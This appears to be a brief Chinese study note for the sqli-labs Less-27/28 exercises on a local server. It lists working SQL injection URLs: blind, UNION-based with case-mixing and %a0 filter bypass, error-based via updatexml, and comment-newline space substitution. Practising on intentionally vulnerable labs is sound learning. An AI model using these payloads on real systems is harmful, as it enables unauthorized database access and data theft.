思路一 :
http://127.0.0.1/Less-27/?id=0%27||()||%271%27=%27--+
利用注入點盲注
思路二 : 參考資料
利用回顯明注 , 過濾了union , 可以通過雙寫來繞過 , 或者大小寫混寫來繞過
臥槽這個太屌了
http://127.0.0.1/Less-27/?id=0%27%a0UnION%a0SelECT(user()),2,3%27
%a0 是什么鬼
有待研究
思路三 :
利用報錯注入
http://127.0.0.1/Less-27/?id=0%27||(updatexml(1,concat(0x5e5e,version(),0x5e5e),1))||%271%27=%27--+
思路四 :
強行制造空格 , URL編碼 + 注釋
http://127.0.0.1/Less-28/?id=0/*%0a*/and/*%0a*/0--+
http://127.0.0.1/Less-27/?id=0%27/*%0a*/or/*%0a*/%27%27=%27
